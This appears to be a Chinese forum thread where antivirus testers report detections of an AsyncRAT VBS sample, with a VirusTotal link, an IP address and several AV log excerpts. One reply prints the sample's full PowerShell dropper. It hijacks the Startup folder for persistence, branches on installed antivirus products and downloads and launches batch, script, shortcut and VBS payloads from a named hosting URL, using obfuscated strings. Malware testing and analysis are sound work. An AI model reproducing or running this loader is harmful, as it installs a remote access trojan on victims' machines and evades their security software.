#AsyncRAT #VBS

hsks

双击估计都能杀
https://www.virustotal.com/gui/f ... 836a67a61/detection

172.96.186.134

a233

Panda Dome
双击杀

心心相印

eis miss

henry217

Norton杀

这报毒名看不懂

难道是脚本控制？

但是日志说是启发

文件名: CL.Downloader!gen10
完整路径: 不可用

____________________________

____________________________


在电脑上
不可用

上次使用时间
2021/5/2 ( 13:59:41 )

启动项
否

已启动
否

威胁类型: 启发式病毒。 根据恶意软件启发式技术检测威胁。

____________________________


CL.Downloader!gen10
定位


未知
Norton 社区中使用了此文件的用户数未知 。

未知
此文件版本当前 未知。

高
此文件具有高风险。


____________________________


来源: 外部介质


____________________________

文件操作

文件: powershell.exe (CL.Downloader!gen10) 未尝试修复
____________________________


文件指纹 - SHA:
不可用
文件指纹 - MD5:
不可用

秋日之殇

双击后云端启发杀
事件: 检测到恶意对象
用户类型: 活动用户
应用程序名称: wscript.exe
应用程序路径: C:\Windows\System32
组件: 文件反病毒
结果说明: 检测到
类型: 木马
名称: VHO:Trojan.VBS.SAgent.gen
精确度: 启发式分析
威胁级别: 高
对象类型: 文件
对象名称: a75682a8be7a7470d0afbcb52b78fd4062fd4a719179730fe3ae6ce836a67a61.vbs
对象路径: C:\Users\ling\Desktop\a75682a8be7a7470d0afbcb52b78fd4062fd4a719179730fe3ae6ce836a67a61
MD5: BCBAD24347E93A0508784F3B4301B7EB
原因: 云保护

fdsax

智量双击kill

正在缓冲

拦了个连接，顺便还把PowerShell给放进隔离区了，病毒本体也不见了
此次发现新的报毒法

post88

fs kill Trojan:W32/Generic.e53eebe440!Online

petr0vic

1. [system.io.directory]::CreateDirectory("C:\P"+"r"+"o"+"g"+"ra"+"mDa"+"t"+"a\Micr"+"oso"+"f"+"t A"+"rts"+"\S"+"ta"+"rt")
   
2. start-sleep -s 5
   
3. Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "C:\ProgramData\Microsoft Arts\Start";
   
4. start-sleep -s 5
   
5. Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" -Name "Startup" -Value "C:\ProgramData\Microsoft Arts\Start";
   
6. 
   
7. 
   
8. Function aloshy
   
9. {
   
10. if([System.IO.File]::Exists("C:\Program Files\Avast Software\Avast\AvastUI.exe")){
    
11. 
    
12. start-sleep -s 10
    
13. 
    
14. powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ExDef/GoogleUpdate.bat', 'C:\Users\Public\GoogleUpdate.bat') }"
    
15. 
    
16. 
    
17. powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ITR/1.txt', 'C:\Users\Public\msi.ps1') }"
    
18. 
    
19. 
    
20. powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ExDef/Dicord.lnk', 'C:\ProgramData\Microsoft Arts\Start\Dicord.lnk') }"
    
21. 
    
22. start-sleep -s 7
    
23. Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
    
24. start-sleep -s 3
    
25. Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
    
26. }
    
27. elseif([System.IO.File]::Exists("C:\Program Files\ESET\ESET Security\ecmds.exe")){
    
28. 
    
29. 
    
30. 
    
31. powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ExDef/GoogleUpdate.bat', 'C:\Users\Public\GoogleUpdate.bat') }"
    
32. 
    
33. 
    
34. powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ITR/2.txt', 'C:\Users\Public\msi.ps1') }"
    
35. 
    
36. 
    
37. powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ExDef/Dicord.lnk', 'C:\ProgramData\Microsoft Arts\Start\Dicord.lnk') }"
    
38. 
    
39. start-sleep -s 7
    
40. Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
    
41. start-sleep -s 3
    
42. Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
    
43. }
    
44. 
    
45. elseif([System.IO.File]::Exists("C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe")){
    
46. 
    
47. 
    
48. 
    
49. powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ExDef/GoogleUpdate.bat', 'C:\Users\Public\GoogleUpdate.bat') }"
    
50. 
    
51. 
    
52. powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ITR/1.txt', 'C:\Users\Public\msi.ps1') }"
    
53. 
    
54. 
    
55. powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ExDef/Dicord.lnk', 'C:\ProgramData\Microsoft Arts\Start\Dicord.lnk') }"
    
56. 
    
57. start-sleep -s 7
    
58. Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
    
59. start-sleep -s 3
    
60. Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
    
61. }
    
62. 
    
63. elseif([System.IO.File]::Exists("C:\Program Files\AVG\Antivirus\AVGUI.exe")){
    
64. 
    
65. 
    
66. 
    
67. powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ExDef/GoogleUpdate.bat', 'C:\Users\Public\GoogleUpdate.bat') }"
    
68. 
    
69. 
    
70. powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ITR/1.txt', 'C:\Users\Public\msi.ps1') }"
    
71. 
    
72. 
    
73. powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ExDef/Dicord.lnk', 'C:\ProgramData\Microsoft Arts\Start\Dicord.lnk') }"
    
74. 
    
75. start-sleep -s 7
    
76. Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
    
77. start-sleep -s 3
    
78. Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
    
79. }
    
80. else{
    
81. 
    
82. $defender = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")
    
83. if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://nyc002.hawkhost.com/~mazenne1/NDef/all.bat', $defender + '11.ps1')){
    
84. }
    
85. 
    
86. $def = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")
    
87. 
    
88. if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://nyc002.hawkhost.com/~mazenne1/ExDef/ss.vbs', $def + 'ss.vbs')){
    
89. }
    
90. start-sleep -s 25
    
91. start "C:\Users\Public\ss.vbs"
    
92. 
    
93. start-sleep -s 20
    
94. 
    
95. 
    
96. powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ExDef/GoogleUpdate.bat', 'C:\Users\Public\GoogleUpdate.bat') }"
    
97. 
    
98. 
    
99. powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ITR/1.txt', 'C:\Users\Public\msi.ps1') }"
    
100. 
     
101. 
     
102. powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ExDef/Dicord.lnk', 'C:\ProgramData\Microsoft Arts\Start\Dicord.lnk') }"
     
103. 
     
104. start-sleep -s 7
     
105. Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
     
106. start-sleep -s 3
     
107. Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
     
108. }
     
109. }
     
110. IEX aloshy

复制代码

Nocria

1. G DATA INTERNET SECURITY has prevented malicious software from running on your system.
   
2. The malicious program was identified by BEAST (Behavior Monitoring) as: Generic.926D1CBF
   
3. 
   
4. The following processes were therefore terminated by G DATA for security reasons:
   
5.         ----------------------------------------------------------------
   
6.         C:\Program Files\WinRAR\WinRAR.exe (PID 3868)
   
7.         C:\Program Files (x86)\Google\Chrome\Application\chrome.exe (PID 1228)
   
8.         ----------------------------------------------------------------
   
9. 
   
10. The following programs responsible were moved to Quarantine by G DATA:
    
11.         ----------------------------------------------------------------
    
12.         C:\Users\promi\AppData\Local\Temp\Rar$DIb3868.17467\a75682a8be7a7470d0afbcb52b78fd4062fd4a719179730fe3ae6ce836a67a61.vbs
    
13.         C:\Users\promi\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    
14.         C:\Users\promi\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    
15.         ----------------------------------------------------------------
    
16. 
    
17. Further information:
    
18. Ref: c32113fd-664d-475d-94de-e0ad74a6ea20
    

复制代码